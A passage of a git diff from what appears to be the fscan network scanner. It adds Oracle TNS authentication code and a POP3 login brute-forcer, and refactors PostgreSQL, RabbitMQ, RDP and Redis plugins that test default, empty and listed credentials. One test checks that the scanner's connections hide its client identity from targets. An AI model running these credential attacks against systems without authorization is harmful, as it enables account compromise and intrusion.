!= nil { + return nil, err + } + if _, err = s.getByte(); err != nil { + return nil, err + } + if s.ttcVersion >= 4 { + if _, err = s.getInt(2, true, true); err != nil { + return nil, err + } + if _, err = s.getInt(2, true, true); err != nil { + return nil, err + } + } else { + if _, err = s.getByte(); err != nil { + return nil, err + } + if _, err = s.getByte(); err != nil { + return nil, err + } + } + for _, size := range []int{1, 1, 4, 2, 1, 4, 2, 4, 1, 1, 2, 4} { + if size == 1 { + if _, err = s.getByte(); err != nil { + return nil, err + } + } else { + if _, err = s.getInt(size, true, true); err != nil { + return nil, err + } + } + } + _, _ = s.getDlc() + if s.ttcVersion < 7 { + _, _ = s.getDlc() + _, _ = s.getDlc() + _, _ = s.getDlc() + } else { + if err = s.skipSummaryBindBlocks(); err != nil { + return nil, err + } + sum.retCode, err = s.getInt(4, true, true) + if err != nil { + return nil, err + } + if _, err = s.getInt(8, true, true); err != nil { + return nil, err + } + } + if sum.retCode != 0 { + sum.errorMessage, err = s.getClr() + if err != nil { + return nil, err + } + } + return sum, nil +} + +func (s *oracleSession) skipSummaryBindBlocks() error { + length, err := s.getInt(2, true, true) + if err != nil { + return err + } + if length > 0 { + flag, err := s.getByte() + if err != nil { + return err + } + chunked := flag == 0xfe + for i := 0; i < length; i++ { + if chunked { + if s.useBigClrChunks { + if _, err = s.getInt(4, true, true); err != nil { + return err + } + } else if _, err = s.getByte(); err != nil { + return err + } + } + if _, err = s.getInt(2, true, true); err != nil { + return err + } + } + if chunked { + if _, err = s.getByte(); err != nil { + return err + } + } + } + length, err = s.getInt(4, true, true) + if err != nil { + return err + } + if length > 0 { + flag, err := s.getByte() + if err != nil { + return err + } + chunked := flag == 0xfe + for i := 0; i < length; i++ { + if chunked { + if s.useBigClrChunks { + if _, err = s.getInt(4, true, true); err != nil { + return err + } + } else if _, err = s.getByte(); err != nil { + return err + } + } + if _, err = s.getInt(4, true, true); err != nil { + return err + } + } + if chunked { + if _, err = s.getByte(); err != nil { + return err + } + } + } + length, err = s.getInt(2, true, true) + if err != nil { + return err + } + for i := 0; i < length; i++ { + if _, err = s.getByte(); err != nil { + return err + } + if _, err = s.getInt(2, true, true); err != nil { + return err + } + if _, err = s.getClr(); err != nil { + return err + } + if _, err = s.getByte(); err != nil { + return err + } + if _, err = s.getByte(); err != nil { + return err + } + } + return nil +} + +func (s *oracleSession) hasError() bool { + return s.summary != nil && s.summary.retCode != 0 && s.summary.retCode != 1403 +} + +func (s *oracleSession) oracleError() error { + if s.summary == nil { + return errors.New("oracle error") + } + msg := string(s.summary.errorMessage) + if msg == "" { + msg = fmt.Sprintf("ORA-%05d", s.summary.retCode) + } + return fmt.Errorf("%s", msg) +} + +func oracleRefuseError(raw []byte) error { + if len(raw) < 12 { + return errors.New("oracle connection refused") + } + dataLen := int(binary.BigEndian.Uint16(raw[10:12])) + if len(raw) < 12+dataLen { + return errors.New("oracle connection refused") + } + msg := string(raw[12 : 12+dataLen]) + code := oracleExtractCode(msg) + if code == 0 { + return fmt.Errorf("oracle connection refused: %s", msg) + } + return fmt.Errorf("ORA-%05d: %s", code, msg) +} + +func oracleExtractCode(msg string) int { + upper := strings.ToUpper(msg) + for _, marker := range []string{"ERR=", "CODE="} { + idx := strings.Index(upper, marker) + if idx < 0 { + continue + } + idx += len(marker) + for idx < len(upper) && (upper[idx] < '0' || upper[idx] > '9') { + idx++ + } + start := idx + for idx < len(upper) && upper[idx] >= '0' && upper[idx] <= '9' { + idx++ + } + if start < idx { + code, _ := strconv.Atoi(upper[start:idx]) + return code + } + } + return 0 +} + +func oracleGenerateSpeedyKey(buffer, key []byte, turns int) []byte { + mac := hmac.New(sha512.New, key) + mac.Write(append(buffer, 0, 0, 0, 1)) + firstHash := mac.Sum(nil) + tempHash := make([]byte, len(firstHash)) + copy(tempHash, firstHash) + for i := 2; i <= turns; i++ { + mac.Reset() + mac.Write(tempHash) + tempHash = mac.Sum(nil) + for j := 0; j < 64; j++ { + firstHash[j] ^= tempHash[j] + } + } + return firstHash +} + +func oracleKeyFromUserPass(username, password string) ([]byte, error) { + username = strings.ToUpper(username) + password = strings.ToUpper(password) + extend := func(s string) []byte { + out := make([]byte, len(s)*2) + for i, c := range []byte(s) { + out[i*2] = 0 + out[i*2+1] = c + } + return out + } + buf := append(extend(username), extend(password)...) + if len(buf)%8 != 0 { + buf = append(buf, make([]byte, 8-len(buf)%8)...) + } + desEnc := func(input, key []byte) ([]byte, error) { + ret := make([]byte, 8) + enc, err := des.NewCipher(key) + if err != nil { + return nil, err + } + for i := 0; i < len(input)/8; i++ { + for j := 0; j < 8; j++ { + ret[j] ^= input[i*8+j] + } + out := make([]byte, 8) + enc.Encrypt(out, ret) + copy(ret, out) + } + return ret, nil + } + key1, err := desEnc(buf, []byte{1, 35, 69, 103, 137, 171, 205, 239}) + if err != nil { + return nil, err + } + key2, err := desEnc(buf, key1) + if err != nil { + return nil, err + } + return append(key2, make([]byte, 8)...), nil +} + +func oracleDecryptSessionKey(padding bool, encKey []byte, sessionKey string) ([]byte, error) { + data, err := hex.DecodeString(sessionKey) + if err != nil { + return nil, err + } + blk, err := aes.NewCipher(encKey) + if err != nil { + return nil, err + } + out := make([]byte, len(data)) + cipher.NewCBCDecrypter(blk, make([]byte, 16)).CryptBlocks(out, data) + cut := 0 + if padding && len(out) > 0 { + n := int(out[len(out)-1]) + if n < blk.BlockSize() && n <= len(out) { + ok := true + for i := len(out) - n; i < len(out); i++ { + if out[i] != byte(n) { + ok = false + break + } + } + if ok { + cut = n + } + } + } + return out[:len(out)-cut], nil +} + +func oracleEncryptSessionKey(padding bool, encKey, sessionKey []byte) (string, error) { + blk, err := aes.NewCipher(encKey) + if err != nil { + return "", err + } + origLen := len(sessionKey) + sessionKey = oraclePKCS5Padding(sessionKey, blk.BlockSize()) + out := make([]byte, len(sessionKey)) + cipher.NewCBCEncrypter(blk, make([]byte, 16)).CryptBlocks(out, sessionKey) + if !padding { + return fmt.Sprintf("%X", out[:origLen]), nil + } + return fmt.Sprintf("%X", out), nil +} + +func oracleEncryptPassword(password, key []byte, padding bool) (string, error) { + prefix := make([]byte, 0x10) + if _, err := rand.Read(prefix); err != nil { + return "", err + } + return oracleEncryptSessionKey(padding, key, append(prefix, password...)) +} + +func (auth *oracleAuthObject) passwordEncKey(nego *oracleTCPNego) ([]byte, error) { + hash := md5.New() + key1 := auth.serverSessKey + key2 := auth.clientSessKey + start := 16 + if len(nego.serverCompileTimeCaps) > 4 && nego.serverCompileTimeCaps[4]&32 != 0 { + var keyBuffer string + var retLen int + switch auth.verifierType { + case 2361: + keyBuffer = fmt.Sprintf("%X", append(key2[:len(key2)/2], key1[:len(key1)/2]...)) + retLen = 16 + case 6949: + keyBuffer = fmt.Sprintf("%X", append(key2[:24], key1[:24]...)) + retLen = 24 + case 18453: + keyBuffer = fmt.Sprintf("%X", append(key2, key1...)) + retLen = 32 + default: + return nil, errors.New("unsupported oracle verifier type") + } + df2key, err := hex.DecodeString(auth.pbkdf2ChkSalt) + if err != nil { + return nil, err + } + return oracleGenerateSpeedyKey(df2key, []byte(keyBuffer), auth.pbkdf2SderCount)[:retLen], nil + } + switch auth.verifierType { + case 2361: + buf := make([]byte, 16) + for i := 0; i < 16; i++ { + buf[i] = key1[i+start] ^ key2[i+start] + } + _, _ = hash.Write(buf) + return hash.Sum(nil), nil + case 6949: + buf := make([]byte, 24) + for i := 0; i < 24; i++ { + buf[i] = key1[i+start] ^ key2[i+start] + } + _, _ = hash.Write(buf[:16]) + ret := hash.Sum(nil) + hash.Reset() + _, _ = hash.Write(buf[16:]) + ret = append(ret, hash.Sum(nil)...) + return ret[:24], nil + default: + return nil, errors.New("unsupported oracle verifier type") + } +} + +func oraclePKCS5Padding(src []byte, blockSize int) []byte { + padding := blockSize - len(src)%blockSize + return append(src, bytes.Repeat([]byte{byte(padding)}, padding)...) +} diff --git a/plugins/services/oracle_raw_test.go b/plugins/services/oracle_raw_test.go new file mode 100644 index 0000000..3364510 --- /dev/null +++ b/plugins/services/oracle_raw_test.go @@ -0,0 +1,18 @@ +//go:build plugin_oracle || !plugin_selective + +package services + +import ( + "bytes" + "testing" +) + +func TestOracleConnectDataDoesNotExposeClientIdentity(t *testing.T) { + connectData := oracleConnectData("db.example", 1521, "ORCL") + + for _, value := range []string{"CID=", "PROGRAM=", "USER=", "fscan"} { + if bytes.Contains([]byte(connectData), []byte(value)) { + t.Fatalf("oracle connect data contains client-identifying value %q: %s", value, connectData) + } + } +} diff --git a/plugins/services/pop3.go b/plugins/services/pop3.go new file mode 100644 index 0000000..5206be5 --- /dev/null +++ b/plugins/services/pop3.go @@ -0,0 +1,124 @@ +//go:build plugin_pop3 || !plugin_selective + +package services + +import ( + "bufio" + "context" + "fmt" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +type POP3Plugin struct { + plugins.BasePlugin +} + +func NewPOP3Plugin() *POP3Plugin { + return &POP3Plugin{BasePlugin: plugins.NewBasePlugin("pop3")} +} + +func (p *POP3Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + timeout := config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "pop3"} + } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) + + reader := bufio.NewReader(conn) + banner, err := reader.ReadString('\n') + if err != nil || !strings.HasPrefix(banner, "+OK") { + return &ScanResult{Success: false, Service: "pop3"} + } + banner = strings.TrimSpace(banner) + + serviceResult := &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "pop3", + Banner: banner, + } + + if config.DisableBrute { + return serviceResult + } + + credentials := GenerateCredentials("pop3", config) + if len(credentials) == 0 { + return serviceResult + } + + for _, cred := range credentials { + select { + case <-ctx.Done(): + return serviceResult + default: + } + + if result := p.tryLogin(ctx, info, cred, timeout, session); result != nil { + return result + } + } + + return serviceResult +} + +func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult { + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return nil + } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) + + reader := bufio.NewReader(conn) + if _, err := reader.ReadString('\n'); err != nil { + return nil + } + + if _, err := fmt.Fprintf(conn, "USER %s\r\n", cred.Username); err != nil { + return nil + } + resp, err := reader.ReadString('\n') + if err != nil || !strings.HasPrefix(resp, "+OK") { + return nil + } + + if _, err := fmt.Fprintf(conn, "PASS %s\r\n", cred.Password); err != nil { + return nil + } + resp, err = reader.ReadString('\n') + if err != nil { + return nil + } + + if strings.HasPrefix(resp, "+OK") { + _, _ = conn.Write([]byte("QUIT\r\n")) + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeCredential, + Service: "pop3", + Username: cred.Username, + Password: cred.Password, + } + } + return nil +} + +func init() { + RegisterPluginWithPorts("pop3", func() Plugin { + return NewPOP3Plugin() + }, []int{110, 995}) +} diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index 9d0c6f5..5cc2c46 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -6,6 +6,8 @@ import ( "context" "database/sql" "fmt" + "net/url" + "strconv" "strings" _ "github.com/lib/pq" // PostgreSQL driver @@ -31,12 +33,12 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, sess target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 先测试未授权访问 if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { - common.LogVuln(i18n.Tr("postgresql_vuln", target, result.VulInfo)) + session.LogVuln(i18n.Tr("postgresql_vuln", target, result.VulInfo)) return result } @@ -45,7 +47,7 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, sess return &ScanResult{ Success: false, Service: "postgresql", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } @@ -56,7 +58,7 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, sess result := TestCredentialsConcurrently(ctx, credentials, authFn, "postgresql", testConfig) if result.Success { - common.LogVuln(i18n.Tr("postgresql_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("postgresql_credential", target, result.Username, result.Password)) } return result @@ -71,8 +73,7 @@ func (p *PostgreSQLPlugin) createAuthFunc(info *common.HostInfo, config *common. // doPostgreSQLAuth 执行PostgreSQL认证 func (p *PostgreSQLPlugin) doPostgreSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr := fmt.Sprintf("postgres://%s:%s@%s:%d/postgres?sslmode=disable&connect_timeout=%d", - cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds())) + connStr := postgreSQLConnString(cred.Username, cred.Password, info, int64(config.Timeout.Seconds())) db, err := sql.Open("postgres", connStr) if err != nil { @@ -148,10 +149,27 @@ func classifyPostgreSQLErrorType(err error) ErrorType { return ClassifyError(err, pgAuthErrors, pgNetworkErrors) } +func postgreSQLConnString(username, password string, info *common.HostInfo, timeoutSeconds int64) string { + u := &url.URL{ + Scheme: "postgres", + Host: info.Target(), + Path: "postgres", + } + if password == "" { + u.User = url.User(username) + } else { + u.User = url.UserPassword(username, password) + } + q := u.Query() + q.Set("sslmode", "disable") + q.Set("connect_timeout", strconv.FormatInt(timeoutSeconds, 10)) + u.RawQuery = q.Encode() + return u.String() +} + // testUnauthorizedAccess 测试PostgreSQL未授权访问 func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { - connStr := fmt.Sprintf("postgres://postgres@%s:%d/postgres?sslmode=disable&connect_timeout=%d", - info.Host, info.Port, int64(config.Timeout.Seconds())) + connStr := postgreSQLConnString("postgres", "", info, int64(config.Timeout.Seconds())) db, err := sql.Open("postgres", connStr) if err != nil { @@ -184,11 +202,11 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com Type: plugins.ResultTypeVuln, Success: true, Service: "postgresql", - VulInfo: "未授权访问(trust认证)", + VulInfo: i18n.GetText("postgresql_trust_unauth"), } } - vulInfo := fmt.Sprintf("未授权访问(trust认证) - %s", version) + vulInfo := i18n.Tr("postgresql_trust_unauth_version", version) if len(vulInfo) > 100 { vulInfo = vulInfo[:100] + "..." } @@ -201,11 +219,12 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com } } -func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() - connStr := fmt.Sprintf("postgres://invalid:invalid@%s:%d/postgres?sslmode=disable&connect_timeout=%d", - info.Host, info.Port, int64(config.Timeout.Seconds())) + connStr := postgreSQLConnString("invalid", "invalid", info, int64(config.Timeout.Seconds())) db, err := sql.Open("postgres", connStr) if err != nil { @@ -243,14 +262,14 @@ func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.Hos return &ScanResult{ Success: false, Service: "postgresql", - Error: fmt.Errorf("无法识别为PostgreSQL服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "PostgreSQL")), } } } else { banner = "PostgreSQL" } - common.LogSuccess(i18n.Tr("postgresql_service", target, banner)) + session.LogSuccess(i18n.Tr("postgresql_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/postgresql_test.go b/plugins/services/postgresql_test.go new file mode 100644 index 0000000..b07be52 --- /dev/null +++ b/plugins/services/postgresql_test.go @@ -0,0 +1,23 @@ +package services + +import ( + "strings" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) { + info := &common.HostInfo{Host: "2001:db8::1", Port: 5432} + got := postgreSQLConnString("user:name", "pa:ss word", info, 3) + + for _, want := range []string{ + "postgres://user%3Aname:pa%3Ass%20word@[2001:db8::1]:5432/postgres", + "connect_timeout=3", + "sslmode=disable", + } { + if !strings.Contains(got, want) { + t.Fatalf("postgreSQLConnString() = %q, missing %q", got, want) + } + } +} diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index 419b917..34cefcf 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -6,7 +6,9 @@ import ( "context" "fmt" "io" + "net" "net/http" + "strconv" "strings" "time" @@ -28,7 +30,6 @@ func NewRabbitMQPlugin() *RabbitMQPlugin { func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { config := session.Config - state := session.State target := info.Target() if config.DisableBrute { @@ -36,8 +37,8 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio } // 先检测未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { - common.LogSuccess(i18n.Tr("rabbitmq_service", target, result.Banner)) + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { + session.LogSuccess(i18n.Tr("rabbitmq_service", target, result.Banner)) return result } @@ -46,32 +47,33 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio return &ScanResult{ Success: false, Service: "rabbitmq", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) + authFn := p.createAuthFunc(info, session) testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "rabbitmq", testConfig) if result.Success { - common.LogVuln(i18n.Tr("rabbitmq_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("rabbitmq_credential", target, result.Username, result.Password)) } return result } // createAuthFunc 创建RabbitMQ认证函数 -func (p *RabbitMQPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *RabbitMQPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doRabbitMQAuth(ctx, info, cred, config, state) + return p.doRabbitMQAuth(ctx, info, cred, session) } } // doRabbitMQAuth 执行RabbitMQ认证 -func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { + config := session.Config // 对于AMQP端口,使用HTTP管理接口 port := info.Port if port == 5672 || port == 5671 { @@ -81,7 +83,7 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn } } - baseURL := fmt.Sprintf("http://%s:%d", info.Host, port) + baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port)) client := &http.Client{Timeout: config.Timeout} req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil) @@ -96,16 +98,14 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn req.SetBasicAuth(cred.Username, cred.Password) req.Header.Set("Content-Type", "application/json") - resp, err := client.Do(req) + resp, err := session.HTTPDo(client, req) if err != nil { - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifyRabbitMQErrorType(err), Error: err, } } - state.IncrementTCPSuccessPacketCount() defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 { @@ -121,14 +121,14 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn return &AuthResult{ Success: false, ErrorType: ErrorTypeAuth, - Error: fmt.Errorf("认证失败,状态码: %d", resp.StatusCode), + Error: fmt.Errorf(i18n.GetText("service_auth_failed")+": %d", resp.StatusCode), } } return &AuthResult{ Success: false, ErrorType: ErrorTypeUnknown, - Error: fmt.Errorf("意外响应状态码: %d", resp.StatusCode), + Error: fmt.Errorf(i18n.GetText("unexpected_status_code")+": %d", resp.StatusCode), } } @@ -157,13 +157,14 @@ func classifyRabbitMQErrorType(err error) ErrorType { } // testUnauthorizedAccess 测试RabbitMQ未授权访问 -func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config port := info.Port if port == 5672 || port == 5671 { port = 15672 } - baseURL := fmt.Sprintf("http://%s:%d", info.Host, port) + baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port)) client := &http.Client{Timeout: config.Timeout} // 测试无认证访问 @@ -172,11 +173,9 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo return nil } - resp, err := client.Do(req) + resp, err := session.HTTPDo(client, req) if err != nil { - state.IncrementTCPFailedPacketCount() } else { - state.IncrementTCPSuccessPacketCount() defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 { @@ -184,7 +183,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo Type: plugins.ResultTypeVuln, Success: true, Service: "rabbitmq", - Banner: "未授权访问", + Banner: i18n.GetText("service_unauthorized"), } } } @@ -193,7 +192,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo guestReq, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil) if err == nil { guestReq.SetBasicAuth("guest", "guest") - guestResp, guestErr := client.Do(guestReq) + guestResp, guestErr := session.HTTPDo(client, guestReq) if guestErr == nil { defer func() { _ = guestResp.Body.Close() }() if guestResp.StatusCode == 200 { @@ -201,7 +200,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo Type: plugins.ResultTypeVuln, Success: true, Service: "rabbitmq", - Banner: "未授权访问 - guest默认密码", + Banner: i18n.GetText("rabbitmq_guest_default_password"), } } } @@ -237,7 +236,7 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host if string(buffer[:4]) == "AMQP" || (n >= 8 && buffer[0] == 0x01) { banner := "RabbitMQ AMQP" - common.LogSuccess(i18n.Tr("rabbitmq_service", target, banner)) + session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, @@ -263,9 +262,8 @@ func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostI func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { config := session.Config - state := session.State target := info.Target() - baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port) + baseURL := "http://" + info.Target() client := &http.Client{Timeout: config.Timeout} @@ -278,23 +276,28 @@ func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *comm } } - resp, err := client.Do(req) + resp, err := session.HTTPDo(client, req) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "rabbitmq", Error: err, } } - state.IncrementTCPSuccessPacketCount() defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 || resp.StatusCode == 401 { - body, _ := io.ReadAll(resp.Body) + body, err := io.ReadAll(resp.Body) + if err != nil { + return &ScanResult{ + Success: false, + Service: "rabbitmq", + Error: err, + } + } if strings.Contains(strings.ToLower(string(body)), "rabbitmq") { banner := "RabbitMQ Management" - common.LogSuccess(i18n.Tr("rabbitmq_detected", target, banner)) + session.LogSuccess(i18n.Tr("rabbitmq_detected", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, @@ -307,7 +310,7 @@ func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *comm return &ScanResult{ Success: false, Service: "rabbitmq", - Error: fmt.Errorf("无法识别为RabbitMQ服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "RabbitMQ")), } } diff --git a/plugins/services/rabbitmq_test.go b/plugins/services/rabbitmq_test.go new file mode 100644 index 0000000..5697929 --- /dev/null +++ b/plugins/services/rabbitmq_test.go @@ -0,0 +1,20 @@ +package services + +import ( + "context" + "net/http" + "net/http/httptest" + "testing" +) + +func TestRabbitMQManagementRejectsGenericHTTP(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write([]byte("plain http service")) + })) + defer server.Close() + + result := NewRabbitMQPlugin().testManagementInterface(context.Background(), hostInfoFromServer(t, server), testSession()) + if result.Success { + t.Fatalf("testManagementInterface reported generic HTTP as RabbitMQ: %#v", result) + } +} diff --git a/plugins/services/rdp.go b/plugins/services/rdp.go index ee4145f..79065a6 100644 --- a/plugins/services/rdp.go +++ b/plugins/services/rdp.go @@ -9,9 +9,9 @@ import ( "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/mylib/grdp/glog" - "github.com/shadow1ng/fscan/mylib/grdp/login" - "github.com/shadow1ng/fscan/mylib/grdp/protocol/x224" + "github.com/shadow1ng/fscan/libs/grdp/glog" + "github.com/shadow1ng/fscan/libs/grdp/login" + "github.com/shadow1ng/fscan/libs/grdp/protocol/x224" "github.com/shadow1ng/fscan/plugins" ) @@ -56,7 +56,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co if !isSingleCredentialTest { osInfo = p.probeOSInfo(target, config, state) if len(osInfo) > 0 { - p.logOSInfo(target, osInfo) + p.logOSInfo(target, osInfo, session) } } @@ -68,14 +68,14 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co if osInfo == nil { osInfo = p.probeOSInfo(target, config, state) if len(osInfo) > 0 { - p.logOSInfo(target, osInfo) + p.logOSInfo(target, osInfo, session) } } banner := p.buildBanner(osInfo) - common.LogSuccess(i18n.Tr("rdp_service", target, banner)) + session.LogSuccess(i18n.Tr("rdp_service", target, banner)) return &ScanResult{ Success: true, - Type: plugins.ResultTypeService, + Type: plugins.ResultTypeService, Service: "rdp", Banner: banner, } @@ -126,11 +126,11 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co } result := fmt.Sprintf("RDP %s %s\\%s %s", target, displayDomain, cred.Username, cred.Password) - common.LogVuln(result) + session.LogVuln(result) return &ScanResult{ Success: true, - Type: plugins.ResultTypeCredential, + Type: plugins.ResultTypeCredential, Service: "rdp", Username: cred.Username, Password: cred.Password, @@ -144,7 +144,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{ Success: false, Service: "rdp", - Error: fmt.Errorf("RDP端口未开放"), + Error: fmt.Errorf("%s", i18n.GetText("rdp_port_closed")), } } } @@ -153,7 +153,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{ Success: false, Service: "rdp", - Error: fmt.Errorf("RDP认证失败"), + Error: fmt.Errorf("%s", i18n.GetText("service_auth_failed")), } } @@ -197,7 +197,7 @@ func (p *RDPPlugin) probeOSInfo(host string, config *common.Config, state *commo } // logOSInfo 输出系统信息 -func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) { +func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any, session *common.ScanSession) { var parts []string // 提取关键信息 @@ -235,14 +235,14 @@ func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) { if len(parts) > 0 { info := fmt.Sprintf("RDP %s [%s]", target, strings.Join(parts, ", ")) - common.LogSuccess(info) + session.LogSuccess(info) } } // buildBanner 构建服务识别Banner func (p *RDPPlugin) buildBanner(osInfo map[string]any) string { if len(osInfo) == 0 { - return "RDP远程桌面服务" + return i18n.GetText("rdp_remote_desktop_service") } osVersion := p.extractStringField(osInfo, "OsVerion") @@ -256,7 +256,7 @@ func (p *RDPPlugin) buildBanner(osInfo map[string]any) string { return fmt.Sprintf("RDP (Hostname:%s)", hostname) } - return "RDP远程桌面服务" + return i18n.GetText("rdp_remote_desktop_service") } // extractStringField 安全提取字符串字段 diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 4058edd..839400a 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -42,7 +42,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session * // 首先检查未授权访问 if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet + session.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet // 如果需要利用,重新建立连接执行 if p.shouldExploit(config) { @@ -63,7 +63,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session * // 如果成功,记录并执行利用 if result.Success { - common.LogVuln(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet + session.LogVuln(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet // 如果需要利用,重新建立连接执行 if p.shouldExploit(config) { @@ -135,7 +135,7 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr return &AuthResult{ Success: false, ErrorType: errType, - Error: fmt.Errorf("redis认证失败: %s", strings.TrimSpace(responseStr)), + Error: 